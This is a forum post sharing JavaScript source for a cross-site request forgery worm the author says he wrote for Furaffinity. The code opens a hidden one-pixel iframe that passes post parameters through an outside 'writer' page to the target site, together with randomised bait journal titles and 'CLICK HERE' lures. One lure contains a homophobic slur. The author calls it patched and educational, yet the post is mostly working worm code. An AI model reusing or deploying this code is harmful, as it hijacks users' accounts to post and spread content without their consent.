I wrote one for Furaffinity two weeks ago. It does the same thing that SA's virus did. Here is the source code, although it also requires a form page to submit the post request to the target.
Most art sites are patched against it right now(furaffinity now included), so there isn't much of a point to this code except for educational purposes.
function crossDomainPost(writer_url, post_target_url, params){
var url_params = '';
for (var key in params){
url_params =url_params + '&' + encodeURIComponent(key) + '=' + encodeURIComponent(params[key]);
}
var url = writer_url + '?post_target_url=' + post_target_url + url_params;
var iframe = document.createElement('iframe');
iframe.setAttribute('src', url);
iframe.setAttribute('width', 1);
iframe.setAttribute('height', 1);
iframe.setAttribute('style', 'border: none;');
var p = document.getElementsByTagName('html');
p[0].appendChild(iframe);
}
var randomnumber=Math.floor(Math.random()*7);
switch(randomnumber)
{
case 1:
var title = "Wow, did I just say something.";
var content = "Check This Image Out! ";
break;
case 2:
var title = "Fine, why should I care?";
var content = "Click here, it'll explain what I'm talking about. ";
break;
case 3:
var title = "So that's the secret of the universe";
var content = "This guy is a huge idiot. Click here. ";
break;
case 4:
var title = "The secret of the universe is so simple";
var content = "CLICK HERE. This guy NEEDS to be banned. ";
break;
case 5:
var title = "All of the Bebop crew are high";
var content = "Check these magic mushrooms out!";
break;
case 6:
var title = "I don't remember making this journal.";
var content = "Whata jerk. CLICK HERE. This guy must be banned.";
break;
case 7:
var title = "I like this episode! ";
var content = "I hate this FAG. He needs to be banned. CLICK HERE ";
break;
case 8:
var title = "I got a whole remedy for that: MUSHROOMS!";
var content = "This is the greatest .GIF ever. ";
break;
default:
var title = "Obnoxious little frog! ";
var content = " YIFF YIFF YIFF ";
}